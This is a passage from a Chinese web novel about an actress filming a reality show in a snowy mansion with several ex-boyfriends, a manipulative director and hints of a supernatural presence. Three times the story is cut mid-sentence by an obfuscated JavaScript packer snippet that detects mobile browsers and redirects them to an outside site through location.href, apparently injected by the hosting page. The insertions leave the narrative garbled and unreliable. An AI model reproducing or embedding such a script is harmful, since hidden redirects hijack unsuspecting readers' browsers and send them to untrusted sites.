陆困溪坐在他旁边,面前桌上摊开一本书,单手翻书页,另一手手指搭在咖啡杯上,偶尔喝一口,姿态很悠闲,像什么下午茶时间的优雅贵族,要看太阳从地板上慢慢划过去,时间可以全然浪费。 梁觉星心想,可以,完全符合秦楝所说的“自然而然的生活感”。为了拍出这种“真实”“生活”“慢综”,秦楝几乎没有安排followpd,他们身上也没佩戴无线麦克风,尽量减少拍摄感,一切全靠角落里固定好的摄像头和和显然价值不菲的收音装置。 祁笑春和周渚在在一边的半开放厨房里,前者单手一扬平底锅给滋滋作响的煎蛋翻了个面,后者站在咖啡机边——秦楝竟然在这里备了齐全的泵压式半自动咖啡机全自动磨豆机两件套,看梁觉星进来,他冲她打了个招呼:“来杯咖啡吗?” 空气里已经满是咖啡的香气,梁觉星走过去还没说话,秦楝突然扬声:“喝美式,梁觉星,这个豆子的味道你会喜欢的。”梁觉星无所谓,冲人微一偏头,“有劳。” 旁边的祁笑春低头看着锅、忽然叫她:“梁老师,帮忙扎一下头发呗。” 他头发略长,用头绳随意在脑后扎了两圈,灰蓝的电话线发圈、有点滑,随着动作落下去,此刻正悬悬地勾在发尾。 他一手握着锅柄、一手拿着筷子,看上去确实像腾不出手——虽然不至于,梁觉星没纠错,走到他身后,食指把发圈勾下来,祁笑春比她高十几公分,从背后近距离看,肩宽阔背、有种动物性的压迫感,但微微俯下身,懂得自觉收敛气息。 秦楝喝了口热茶,腾空的水汽熏得睫毛湿润,他歪着脑袋看眼前场景,很轻地笑了一声,像觉得有趣,微偏头对垂眼看书的陆困溪评价道:“你们娱乐圈的人,都挺会演戏啊。” 陆困溪翻过一页,语气冷淡:“彼此。” 松开的头发散落到耳边,梁觉星用虎口从前卡住后拢,掌心和祁笑春的耳垂轻轻擦过,前者温热,后者冰凉,碰触到的瞬间,梁觉星听到“叮”的提示,一抬头,祁笑春脑袋上悬着一个1/n。 梁觉星忽然回忆起她和祁笑春是怎么认识的。 当初【甜美恋爱指南】技术落后,提示人选的方法是在触碰时由接触部位产生一秒剧烈的灼热感,梁觉星第一次和祁笑春握手时感觉到了,于是把他列为人选接近,直到几天后才发现错误——那家伙当时身上可能有什么脏东西,是那玩意儿烫了她,不是技能提示。 她也没说什么,他们当时并没有发展出什么关系——她以为,只是自然而然单方面跟人减少联系。 过了一段时间,她找到正确人选。 之后他们没再有什么接触。 祁笑春记性倒好,梁觉星心想,不过认识几天的交情,竟然记到现在。 她在心里迅速盘算过目前已知的男主人选,宁华茶和祁笑春节目定位不同,所以昨天的思路没有变动,剩下一个还是在工作人员里。 “好了。”梁觉星在马尾高度折起反向一收,给他扎出一个揪。 “多谢梁老师,”祁笑春用水果刀在刚出锅的煎蛋上左右各划出两道弧线,利落地切出一个心形,转身笑眯眯地将盘子递给人,“爱心早餐,特别鸣谢。” “我也要一份爱心早餐,”宁华茶叼着一片面包突然出现,又对祁笑春补充,“我也特别鸣谢。” 祁笑春看他两眼,无所谓地耸了耸肩,用刀尖将刚切出来的煎蛋碎片拢到一起,在外沿用蕃茄酱挤出一个心形:“不客气。” 宁华茶穿着一件五颜六色蓬勃新鲜的好像在花草地里滚了一圈似的宽松卫衣,头发湿乎乎的带着一股潮气。梁觉星扫他一眼,皱起眉头:“你大早上洗澡?” 宁华茶昨晚睡前刚冲过澡,现在又是冬天,大早上的洗什么澡? 宁华茶脸僵了一下,不知该怎么解释。 因为没睡好,早晨很早就醒了,想到你就在我隔壁的房间里睡着,就特别想去见你。但是知道不能,所以天还黑着我就摸到你房间门口,蹲一会儿站一会儿、站一会儿蹲一会儿,想到你现在跟我只隔着一道门板的距离就很高兴,像个大傻瓜。心在噗通噗通快跳,精力无处发泄,于是天快亮的时候,跑回房间做了两百个俯卧撑。 因为我就是这么一个蠢货,所以大早上的需要洗澡。 结果好不容易等到跟你见今天的第一面,就看到你在吃别人做的爱心早餐。 操,爱心早操,现在到底是哪一年,怎么还会有爱心早餐这种东西? 幸好梁觉星也没有较真真要等他回答,从宁华茶身前绕过去在周渚手上接过咖啡,喝了一口,看向秦楝。 秦楝视线对着前方,一抬眼正巧接住她的目光,观察了一下她的表情,冲她得意地一挑眉,表示,确实不错吧。 “行了,我去干活了。”秦楝靠半杯热茶暖和好身体,精神抖擞地站起来往外走,“老板们接着用早餐吧。” 祁笑春绕过宁华茶,举着研磨瓶对梁觉星示意,等她点头后往煎蛋上撒了一点黑胡椒,“你昨晚睡得怎么样?” “还好。”梁觉星突然抬手、握住祁笑春正要后撤的手腕,将他手里的研磨瓶往正扑过来的宁华茶身前一推。 祁笑春顿了一下,把研磨瓶递给宁华茶:“我睡得不好呢,”语气像在说笑,“我昨晚……梦到鬼了。”梁觉星正抬眼看他,他对她眨了眨眼,“可吓人了。” 梁觉星拍了拍他的肩膀,声音冷淡平静、显然没当回事:“睡前少看点恐怖故事。” 刚过九点,餐厅里几个人的手机几乎同时响了起来,各种提示音混着手机震动,噼里啪啦地像炸烟花。 梁觉星看提示,是陈知雪。 大概是积雪的缘故,电话信号比昨天还差,陈知雪发出的每个字的声母和韵母都不可兼得,梁觉星听了一会儿没忍住,直接挂了电话。 走到大门口再打回去,这次是陈知雪没接,显示正在通话中,梁觉星想了一下,猜到是节目的问题。 从门口正好能看到不远处的秦楝,坐在外延出的露台里,露台没封,他上半身裹在羽绒服里,长腿叠起踩在马鞍凳上抱着电脑,嘴唇冻得泛白,神态倒很悠闲。 梁觉星走过去,他掀起眼皮懒懒瞧她一眼,笑着说:“发了节目的定档消息,正在看反馈。不给你看了,一堆数据没什么意思。” 他说着,目光落下又抬起,盯着人皱起眉来:“过来,婶婶,你穿的太少了。” 露台栏杆是齐腰的高度,梁觉星单手撑在台面上,脚下一蹬,利落地侧身翻了进去。 秦楝将身上的羽绒服脱下来递给她,自己从一边椅子上扯过一条毛毯,在上身随意地围了一圈。 衣服内层带着秦楝的体温,还有淡淡一层有点甜的烟草味, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997016|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不腻、像混了一点新鲜水果的汁液。 咚咚两声门响,没用秦楝同意,一个工作人员径直走进来,看见梁觉星也在,他停了一下,等两秒见秦楝没什么反应,开口道:“效果很好,你在后台看到具体数据了吧。刚接了几家广告商的电话,想聊加时段的事情。” 秦楝嗤笑一声:“这些人明明知道是我的节目,为什么还会犹豫,不应该在参加招商会的第一天就赶紧签合同打几千万过来吗?”他说着,对梁觉星露出一个故作可怜的表情,“做节目可麻烦了,从那些资本家手里掏钱好难。” 梁觉星没被他的惺惺作态欺骗,直接戳破人:“你也需要求人给你投钱?” “那倒没有,”秦楝笑起来,“你知道的,I’matrustfundbaby,我还是个胚胎的时候身价就已经超过十几家上市公司了。”说到此,他一脸真诚,“所以,我真的比我叔叔有钱。”他顿了一下,补充道,“很多。” 梁觉星懒得理他,她偏头看向刚进来的那位工作人员——他显然与秦楝很熟悉,对节目有一定的管理权限,中年人,高、瘦,有种中产阶级的精英气质,眉目骨骼长得很冷硬,不怎么爱笑,眉心有一道纵向折痕。她认出了他,昨天他站在给她拍摄的那个摄像的后面,正在指挥工作人员布置现场。 “你好,”她向他伸出手,“梁觉星。” 这个招呼打得有点突然,男人深深看了她一眼,然后向她伸出手回握,力度比普通的虚握略重,有一种郑重的意味:“你好,我是关瑾。” 秦楝盯着电脑屏幕,没回头,手指在座椅扶手上敲了敲,“老关,你看过我们梁老师的戏吗?” “看到过,”关瑾没多作犹豫,诚实评价,“演得很烂。” 秦楝没控制住,笑了一声。 “但很显眼,就算站在主角身后当背景板,还是会被观众一眼看到。” “所以你很适合录综艺。” “你会让人不舍得换台。” 秦楝有些惊讶地回过头来:“我很少听到你夸人。” 关瑾语气平稳:“因为很少遇到值得夸的人。” 话从梁觉星左耳飘进来、顺着右耳飘出去,没过脑子,关瑾既然不是男主人选,那就没必要放在心上。 正好陈知雪的电话打进来,她扫了秦楝一眼,脱下外套搭在他腿上,开门离开。关门时顺手用手背轻挡了一下,防止风将门暴力吹合。 关瑾看着她的背影,没有立刻说回正题:“你不应该请梁觉星。” 秦楝将外套拉起来抵在自己下唇,“不觉得很神奇吗,半个城市都已经坍塌毁灭了,台风眼却是平静的。” “她是天生的主角,”他伸出手指点点身后,“焦点、明星,”又指自己,“镜头。我们俩天生适配。” 关瑾垂眼看着他,带着冰冷的审视,像没有感情地观察一个病人,“异乎寻常的愉悦、兴奋、易怒、思维奔逸是一种心理疾病,你应该克制你对热闹、混乱的追求。” 秦楝像是被逗笑了,咧开嘴无声地做了个大笑的口型,“老关,严格将一切控制在程序范围内是一种严重的精神障碍,而且,你要明白,只有失序才能创造出真正精彩的节目。” “对了,那几个狗崽子怎么样了?” 关瑾低头理了一下袖口:“他们会老实的。” “是么,”秦楝微微挑起眉头,似乎不全然相信,“我倒期待他们给我一些意料之外的东西。” “一些……真正有价值的东西。” 关瑾的手机忽然响了起来,他看了一眼屏幕,没有立刻接起也没有挂断,而是问秦楝道,:“为什么会答应周渚参加节目?” 视频停在宣传片五人同格的那一帧画面,橙黄的火光穿透屏幕映在秦楝的脸上,他的眼睛像一对闪着熔岩光泽的琥珀,他懒懒地对关瑾挥了挥手,“别总看安提戈涅,老关,你要学会欣赏俄瑞斯忒亚的戏剧性。” 10. 010 “宝贝,”数码转换装置和传输线路影响了声音传送,致使电话那头陈知雪的声音表现出一种飘忽不定的语重心长,“你会老老实实地拍完这个综艺,然后结了尾款走人,对吧?” 嗯…… 尾款不重要,老实看情况。 梁觉星说对,心里没负担。 陈知雪的语气没松,嗓音像一根强压下绷紧了的弦,崩断只在一瞬间,梁觉星的态度失之毫厘、落在她这根弦上重若千斤:“你不会再玩弄陆困溪的感情,对吧?” ……? 陆困溪的感情是什么超市里十块钱三个的儿童玩具吗? 梁觉星向旁边走了几步,透过窗户看进餐厅,嘴上敷衍着:“对。” 陈知雪抹了把脸:“你跟宁华茶也要保持距离,靠,刚才有个突然窜上来的热搜,给你俩打的tag是训狗,这群人是磕cp磕疯了吗,我真是服气……训狗!你懂吗?” ……? 我不懂。 梁觉星思考了一下,根据陈知雪的语气试探着回答:“我……是狗?” …… 陈知雪长长叹了口气。 算了,这怎么能怪梁觉星呢,她懂什么。 明明是那些男人前赴后继、装聋作哑地往她身上扑。 这当然不是她的错。 透过压花玻璃传出来的影子有点模糊变形,梁觉星看到宁华茶掐着祁笑春衣领把他往中岛上摔。 她盯着两个人的身影,语气还很平静:“你还有别的事吗?” “没,就是……” 陈知雪没说完,梁觉星挂了电话。 餐厅里,祁笑春被按在中岛的石板台面上,腰被横切出的台面卡着,肩胛骨在刚才被压下来的瞬间几乎被撞碎,浑身上下都痛,但他却对着宁华茶笑起来,笑得很得意,刚被梁觉星扎好的头发在争执间散落开,几根碎发落在睫毛上,那双眼睛明亮狡黠得让人生厌。 两分钟前,大家正各自看手机,有人正拼命给宁华茶打电话,宁华茶没接,对方坚持不懈,打了挂、挂了打,宁华茶给人回话,“你别打电话了,我这边信号不好,接不起来。”对方就开始狂发语音。 偶尔零星几个词露出来:“不要”“千万”“一定”“梁觉星” 祁笑春正靠着中岛喝咖啡,听到梁觉星的名字,抬起头来向他那边瞥了一眼,正巧捕捉到宁华茶脸色变化的一瞬。 他在手机上似乎看到了什么,原本笑得十分无所谓的脸忽然沉下来,他手指滑动着又看了两秒,然后缓缓抬起头来,看向祁笑春。 宁华茶本就生得眉眼深刻,面无表情的时候,看起来就有些阴鸷晦暗。 祁笑春不解,有些莫名其妙。 宁华茶走到他身前,在一臂距离处站定,盯着他,目光凶狠,但声音反而很轻:“你之前跟梁觉星是什么关系?” 祁笑春一下子明白他刚才看到了什么东西,他大笑起来,笑得很畅快,半晌才停下来,“不好说,”他眼睛弯着,带着一点轻佻的、逗弄人的快意,语气刻意拉长了,在关键词上强调,“是很亲密、很亲密的关系呢。” 下一秒,宁华茶径直将他砸向台面。 梁觉星到的时候,宁华茶像一只凶猛的食肉动物一样压在祁笑春身前,肌肉紧绷、背脊突起,攥紧的拳头马上就要砸到祁笑春脸上。 梁觉星在背后轻踢了宁华茶小腿一下:“干嘛呢,别打架。” 宁华茶条件反射性想反抗,呼吸里都带着怒气,转头看见是梁觉星,又强压下来。他深吸了两口气,警告似的瞪了祁笑春一眼,然后慢慢向后退开。 祁笑春看着他,目光示意地往梁觉星身上一带,再挑衅地看回宁华茶,无声地对他做出一个口型:“很亲密。” 宁华茶猛地冲上去。 在即将碰到他的那一刻,梁觉星忽然抬起胳膊单手扼住宁华茶的脖子、虎口紧紧卡住他的咽喉,动作非常利落干净,粗暴而狠戾地向后一推,她的上身接着贴上,在咫尺的距离间,盯着宁华茶的眼睛。 语气很轻,带着一点轻蔑的、却让人忍不住颤抖的意味:“是要我在你的脖子上拴一条狗链吗?” 宁华茶盯着梁觉星,眼内血管破裂、眼底一片血丝,但眼内却非常、非常明亮,像一个经过三个月体能训练,爬了十五个小时,穿过黑夜、暴雪、迷失的路径,最后终于在黎明时分看到顶峰的人,心脏狂乱跳动,无法抑制渴望。 梁觉星感觉到在自己掌心下,宁华茶无声地吞咽了一下。 祁笑春看着宁华茶,冷笑了一声。 你有什么好生气的?你这种被她选择过、跟她谈过恋爱的人,怎么还配生气? 他知道自己该站起来,但是压在中岛台上的背好痛,他想起一个说法,心脏疾病的表征之一是背痛,很多人总会弄错这两者的因果关系。 他想起他第一次见到梁觉星。在那之前他已经听说过她,非常有名,总有断断续续的热搜,连他这种不关注娱乐圈的人都隐约了解她的讯息,充斥着各种各样频繁更新的恋爱情况,他刷到过网络上很多关于她的评价,疯狂、混乱、情绪强烈。 他对她的印象不算正面。 他终于见到她,在综艺开拍前,导演让他去跟她沟通消息,休息室的门半开,他透过缝隙看到里面的场景,她坐在面对门口的椅子上,一手支着脑袋,兴致缺缺地垂眼看着跪在自己腿前的男人,半晌开口,语气非常冷静,在哭到脊背颤抖的男人的衬托下,甚至显得冷酷:“你这种情况应该去找心理医生,不要拿我当你感情宣泄的垃圾桶。” 在男人走了以后,他等了两分钟进去,跟她讲导演的安排,意外的很好沟通,有些不算合理的安排,她听完也没有提意见,只说ok,在他走前,拿起桌上一瓶没开封的冰水递给他,态度非常随意。 祁笑春愣了一下,他的嘴唇干裂了几道口子,流了一点血,他随便舔掉没有处理,现场的人全都在忙,没有人留心在意他这种串场领项目工资的小角色。 他接过水瓶,想要道谢,就听梁觉星开口,语气淡淡的。 “下次有礼貌一点,有事敲门,不要站在门口偷听别人讲话。” 明明是斥责,却仿佛没带什么情绪。 窗外透进的阳光斜打在她的脸上,清晰的每根灿金色的睫毛都能看清,那是非常、非常漂亮的一张脸,比他在网上随手刷到的任何一张她的照片都更加冲击,美到惊心。 他们在正式开拍前再次见面,握手后梁觉星忽然抬起眼睛看他,印象里那是她第一次非常正式地看他,像观察动物园里一个月展出一次的珍稀动物,带着一点好奇的探究,他在那样的眼神里感觉到心脏变成了某种碳酸饮料的容器,在不停地往外喷出透明的、刺激性的泡泡,泡沫在他的血管里随着流动的血液飞快地四下穿梭,最后在他的鼓膜中炸裂,发出噼里啪啦的脆响。 然后他听到她说:“祁笑春?留个联系方式吧。” 他感觉自己的生命在那一刻忽然被上帝调亮了一个亮度。 接下来的几天因为综艺拍摄他们两个经常碰面,他察觉到梁觉星对待自己的不同,更有耐心一点,目光在他身上停留的时间更长——也许只有零点几秒的区别,但那零点几秒很重要。 也有旁人注意到——其中有些人对梁觉星的评价并不好,有时候会刻意用那种鄙夷的语气谈论她,却没发现自己的目光总是在她身上,在被她看到的时候条件反射性地咧嘴,因为紧张而使笑肌抽搐。那些人中有人跟他讲,用那种故作坦然又拈酸吃醋的语气,说小心点儿,梁觉星可能是看上你了。 他从小到大很少有非常想要某种东西的欲望,从那时起却开始疯狂的动心,像领取到一个空头支票一样没人给予保证的号码牌,却在踏上虚无队列的那一刻就开始激动地走来走去,不停地问自己,到我了吗?到了我吧! 从某一天起——他那时没有立刻意识到——梁觉星跟他的联络减少,但某时他突然醒悟,自己应该向她告白。 我当然应该这么做了!我早就应该这么做了!我这个蠢货,我怎么才想到这一点! 他开始准备各种东西,因为紧张和激动而慌乱,哪里都不够好,怎么都不够好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997017|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他在凌晨三点突然惊醒,想起来上个月在婚礼上见到过非常漂亮的荷兰进口铃兰,梁觉星会喜欢吧,我现在预定来得及吗? 那束承载着某种期许与爱意的洁白的花最终没有送到梁觉星手里。 在它还无知觉地飞翔在西欧上空时,祁笑春忽然看到直播。 是颁奖典礼,赵克拿着刚到手的奖杯,对梁觉星单膝跪下,郑重的好像是什么求婚仪式,仰着头问她可以和他在一起吗,就那么几个字,声音竟然一直在颤抖。 光分了两束,一束明亮地直直打在他脸上,他眼内浮动的水色清晰可见。 这王八蛋不知买了多少投屏广告,祁笑春站在十字路口,四面八方都是他那张充满期盼的恶心的脸。 然后他听到梁觉星回答说:“好啊。” 他以为那过了很久,但后来重看视频,才知道梁觉星一秒都没有犹豫。 祁笑春站起来,盯着宁华茶咳嗽了两声,他知道自己看向他的眼神在某一刻充满了低劣的恶意,但他没办法控制,他无法控制自己不去嫉妒和梁觉星在一起过的每一个人。那种情绪积沙成塔,在刚才看到梁觉星掐住宁华茶脖子的一瞬间甚至凝成一种近乎实质性的恨意。 “你们……”梁觉星终于松开手,在判断出拇指下宁华茶的脉搏跳动终于恢复正常后,她想问你们为什么打架,一开口觉得这问法太像一个劝架的幼儿园老师,于是她只是警告性地分别对一人瞪了一眼,用目光让他们老实一点。 秦楝在这个时候姗姗来迟,周渚在他身后不远处,大概也是刚才听到了响动过来的。 “呦,”秦楝站在门口,目光悠然自得地扫过眼前几人,“这么热闹?” 宁华茶觑着眼去瞅梁觉星,用眼神装可怜。梁觉星没理他,大步走到秦楝身边,眼风扫了眼墙角的摄像头:“刚才的镜头不许播出去。” “凭什么,”秦楝嗤笑一声,“那是流量哎,很重要的。” “凭我是你婶婶,尊点儿老吧你。” 秦楝没料到她会主动提这茬,一下子被噎住,愣了一下才讨饶地举起双手,苦笑着答应:“好的好的,我听话,婶婶。” 又过了几分钟,陆困溪也回来了,一进屋就察觉到屋子里氛围明显不太对,于是连他也难得多问一句:“怎么了?” 宁华茶和祁笑春都没回答,秦楝正倚靠着椅子斜坐着,手指挑起来似乎要指上谁,在空中绕了一圈,看着梁觉星笑了一下,最后指尖点上自己太阳穴,语气若有所指:“破冰活动,加深互相了解,可惜陆老师你没赶上。” 陆困溪看了梁觉星一眼,收回目光:“今天要做什么?” “哦,今天,”秦楝像是才想起来这回事,“其实没有什么表演性的活动安排,毕竟咱们是生活慢综,主打一个真实,你们生活中会干什么现在就干什么。” 话没说完,祁笑春就站了起来:“生活中,这种阴蒙蒙的雪天我该一直躺在床上。” “可惜,”秦楝长腿一伸,挡住他的去路,“你现在不是在你七十平的小窝里,是在文艺复兴风格的豪华别墅里。所以,现在,为了你漂亮而舒适的家,请开启你的家务劳动吧。” 秦楝刻意发出那种电视幼儿频道里主持人对小朋友们的活泼、娇俏的声音,但听起来一点也不像倡导,倒十分像憋不住幸灾乐祸的坏笑,“你们要打扫清理院子里的积雪,重点在主干道路和雕像上、喷泉上,还要把别墅里的书房、舞厅打扫干净,哦,不是昨天那个小的,是二楼主人常用的书房,因为东西太多了收拾起来很麻烦,所以之前我没放心让别人干。” “……”祁笑春都有点震惊了,“资本家啊,我们拿的劳务费里还包括帮你干活?” 秦楝也做出夸张的震惊表情:“不值得吗?我给你们的劳务费很高啊!都说把资本家吊死在路灯上,他们甚至会卖绞死自己的绳子。你比资本家还贪婪啊。” …… 梁觉星不想再听他们俩在这儿小学生斗嘴了,直接打断:“怎么分工?” 秦楝想了一下:“抽签吧,两人一组,多出的一个做机动。” 11. 011 祁笑春做了机动,他扫了相看两厌的陆困溪和宁华茶一眼,觉得这结果也还行。 秦楝安排完任务准备撤退,路过祁笑春时拍了拍他的肩膀:“既然已经是机动这么方便的身份了,正好你有做主持的经验,一会儿帮我们兼一下followpd啊。”说着,对外一打响指,“过来,给祁老师挑个轻便的摄像机。” 祁笑春:“你真的是……” “平和心,”秦楝一脸真诚,“我的综艺你要是接四档,财务自由都能实现了。看看我们周教授,为钱下海,心态可嘉。” 被莫名提到的周教授正跟梁觉星商量从哪里开始今天的家务活动,像是没听到,眼都没抬。 倒是梁觉星,在宁华茶准备出门的时候,忽然抬手拉住他的胳膊。 宁华茶本来冷眉冷眼地跟在陆困溪后面,察觉到握在自己小臂上的是梁觉星的手,回过头的瞬间一秒变脸,浓黑的眉毛微微垂下去一点,瞪着两只虹膜漆黑澄澈的大眼,表现地像只犯了错后可怜的大狗,认错、但又觉得自己无辜,希望你心软一点,不要追究,最好再来两句安慰。 梁觉星压根没看他特意备好的眼神,目光直接落在他脖子上——刚才她下手不算轻,现在那里已经起了一圈淤痕,再过一会儿、估计会肿。她顿了两秒,没后悔、在想解决办法,然后开口吩咐人,语气一点儿没软:“去换件能遮住脖子的衣服。” 宁华茶想明白她的意思,老实点头,又补了一句:“有点疼。” 祁笑春跟着工作人员去拿机子,路过陆困溪的时候一偏头,语气嫌弃:“我要吐了。” 秦楝出了门,正边跟工作人员小冯交代事情边往录像室走,手机忽然又响了起来,他扫了眼屏幕,眉头不耐烦地皱起,但还是停下,对小冯指了指墙角的监控,做了个口型。小冯很伶俐,明白他的意思,点了点头。 秦楝盯着自己的手机,像看着一滩蠕动着随时准备往自己身上扑的垃圾,然后他终于接起电话,抢在对方开口前,冷声道:“HaltdieFresse!”语调铿锵冷硬,用词非常不文明。 陆困溪正和宁华茶一起走出来,听到的瞬间豁然转头直直看向他。 秦楝嘴里没停,抬起眼皮懒懒回视,两人的视线在半空中交接,秦楝意识到什么,饶有兴趣地冲人挑了一下眉头。 宁华茶对此毫无察觉,还在扯着自己的衣领算哪件的衣服的高度合适,一边问陆困溪:“我觉得其实完全不用遮起来,是不是有那么一句话来着,什么老婆给的伤口是男人的勋章?” “……”陆困溪深吸了一口气,“如果有人说你是恋爱脑,你是不是还觉得是在夸你?” “我经纪人倒是真的这么说过我,”那双被业内人士评价为“头狼中的最强者”“极具侵略性”的眼睛里透漏出一股懵然的天真神色,“我觉得挺好啊,真希望有人能把这个称号告诉梁觉星。” * 录像室里,监控一般的屏幕铺满整面墙,一个人面对屏幕独自坐在层层叠叠的黑白色冷光下。 房间外急匆匆的脚步声渐近,几秒过后,门口响起“滴”的解锁提示音,小冯砰的把门打开,意外看到有人在、脚底一刹:“哎?你在这儿啊?” 他停在门口,一边抬头看过各个镜头,嘴里一边快速地念叨:“刚才餐厅的画面你看到了吗,别乱说啊,那个镜头别管,待会儿秦导要自己处理。” “这些镜头咋样,都没问题吧?” 坐在椅子里的人没有回答,小冯也没当回事,习惯对方寡言的风格,自己检查完以后关上门就匆匆走了。 等脚步声彻底在走廊上消失,座椅里垂着的脑袋忽然轻轻动了一下。 略长的头发下,那双眼球僵硬地转动几分。 “都——”他张开嘴巴,试图发出声音,但像是已经很久没有说过话,念出的字发音古怪,像是把一只鹦鹉塞进人皮里,不习惯那些新长出的器官,别扭又生疏地驱动自己的舌头、声带,诡异地模仿听到的人声,“都——没——we——题——” 一字一顿,嗓音嘶哑。 “都——没——” “问——题——吧——” 他慢慢抬起头,眼球死板地拨动着一个一个看过屏幕,冷白的光色照在他没有表情的脸上,他还没有学会掌控那张人皮下细密分布的肌肉,因而血肉饱满、却布满非人的死气。 然后他说: “没——有——问——题——” * 宁华茶换好衣服一出屋门,正好碰上梁觉星,他两手插兜、跟个孔雀似的往人眼前凑:“这件行吧?” 梁觉星正跟周渚并排站在书房门口,两个人的表情都有点意味深长。 宁华茶没等到回应,伸长脖子凑过去看:“我靠,秦楝这家伙这么狗?” 八、九十平的书房空空荡荡,地上没有规律、横七竖八地摆了一堆大大小小的箱子。 秦楝对这间书房可能唯一提前做过的布置就挂在墙角——摄像头闪着红灯。 过了半天,梁觉星认命地叹口气,踢了下大半身子挡在自己前面的宁华茶,温柔地让他滚。 周渚这个长期伏案工作、日常跑三个小区上课、每年定期熬夜写报告申请基金、亲自贴发票跑报销的人,身体素质确实不错。 跟着梁觉星的节奏闷头大干,中间累极停下来一分钟,见梁觉星正面无表情地把一把除尘掸舞得虎虎生风,顿觉深受鼓舞。 过了两个小时,两人终于把房间的基础清洁做完了。 秦楝拎着酒瓶子在门口晃荡的时候,梁觉星正拆封那些被贴了好几层胶带的箱子:“等会儿,”她现在看秦楝有点不爽,白长了那么一张不食人间烟火的脸、真能干出把人当驴使的事儿,“你干嘛去?” 秦楝往门口一靠,被酒气熏红的眼尾非常性感地一挑:“呦,梁老师,我正要补习功课去呢。好多观众怪我不够深明大义,请前男友竟然只请两个,纷纷替那些本次没上桌的其他人士打抱不平,听说好几个当事人本人也非常着急,试图给我致电,我现在正要去复习一下前尘往事、捎带手接触观摩一下。” “对了,”人微醺,眼神还好使,及时指出梁觉星的暴力拆箱不可取,“里面可能有些旧东西呢,都是当初打包一块儿买的,跟着房子代代传下来,相当不容易,可别弄坏了。” …… 打包买的,能有什么好东西? 梁觉星就手抽出一本书页散装、往外掉灰的本子:“这房子建了有多久了?” “具体说不好,几十年是有了,看文书凭证中间流转了好几次,最旧的有记录的文件差不多是在五十年前,不过……”他嘴角翘了一下,“听说这房子有个类似于防空洞的地下空间,是用来让当时的一些教派信徒躲避追捕和做祈福仪式的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997018|178220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“灭春热潮。”周渚了然。 那时九十年前的风波了。 秦楝对着他表达钦佩地一点头:“周老师真有学问。” “对了,梁觉星,”秦楝忽然毫无征兆地转回话题,“你觉得要不要邀请几个其他的前男友过来参加节目?” 梁觉星正把手里撕下来的胶带缠成一个球,闻言抬眼看过去,秦楝那双带着混血感的眼睛很亮,像笼着一汪水,是笑着的眼型,但眼神很沉,带着一点执拗的、挑衅的光芒,像是在进行试探交锋,要从梁觉星这里获得一个可以进行判断的答案。 梁觉星语气冷静平淡:“我无所谓,你觉得呢。” 秦楝灿然笑起:“那就不动了。” 他的目光移到周渚身上,语气若有所指:“周老师辛苦了,不过让你来收拾这件书房,其实不算难吧?” 周渚将一块抹布慢慢铺平,耐心地叠起两折,脸上依旧带着那点惯常的温柔的笑容:“秦导在乎一件事情难不难吗?我以为你只在乎节目是不是足够精彩、足够吸人眼球?” 秦楝看着他,像是没听出话里有些冲突的态度,眼里涌上更深的仿佛很满意的笑意,“不愧是合作过的人,真的很了解我。”说罢懒懒摆摆手,“走了,不打扰你们干活了。” 梁觉星把胶带球表层裹好抛进临时备好的垃圾箱里,目光随意从周渚身上掠过去,“你不喜欢秦楝?” 她回想刚才周渚面对秦楝时,下意识微抬起的下巴,更正道:“你讨厌秦楝?” 周渚从拆开的纸箱间的缝隙里穿过去,低头扫视,声音像是融入黑暗中一般低沉:“严格来说,不是讨厌。” “不过,”他抬起脸来,眼睛很温和地弯起,“很少有人能够真的喜欢他,不是吗?” 便宜长辈没为秦导说些什么好话。 “这几箱是书,这几箱是是壁画,这几箱是些摆设。”周渚很快下决断,“从大的开始?” 梁觉星没有意见。 就近从右手边的箱子里抽出一张单臂长短的油画,边框已经装裱好,内容是黄昏时分、湖面睡莲,整个画面色调很深,光影画得暗淡。 画法很古典,没有落款。 画框长久没有拿出来,已经有积灰,梁觉星抽出干燥的面巾纸清理,擦拭到右下角的时候顿了一下,色块太深刚才一眼扫过去没有看清,此时触碰到了才分辨出来,在这个原本应有落款的地方、颜料有明显的凸起, 细看颜色也并不完全统一,是后附加上的,可能是为了覆盖什么东西。 她想了一下,试着用指甲去分离,手段粗糙、想着不行再去找工具,幸而两部分各自生成的时间相隔不算太短,颜料融合的并不紧密。梁觉星手指很稳,控制着一点点剥离开,随时观察着,准备一旦有粘合住的地方就停下。 周渚不知何时走到了她身后,无声地注视观察着她,直到完全剥下,若有所思地感慨:“你的手……很稳。” 梁觉星没去管他是什么意思。 被覆盖的画面大致拳头大小,是直接在原作上画的,笔画非常粗糙质朴,看起来像小孩子随手的涂鸦之作。 